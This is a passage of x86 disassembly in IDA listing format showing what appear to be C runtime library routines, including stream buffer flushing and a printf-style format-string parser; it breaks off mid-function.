		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC01C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC01C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D588
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5A8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4D0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432860o
					; ___:0043286Co
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE78	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D094
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D090
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D420
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D42C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D424
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D090
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
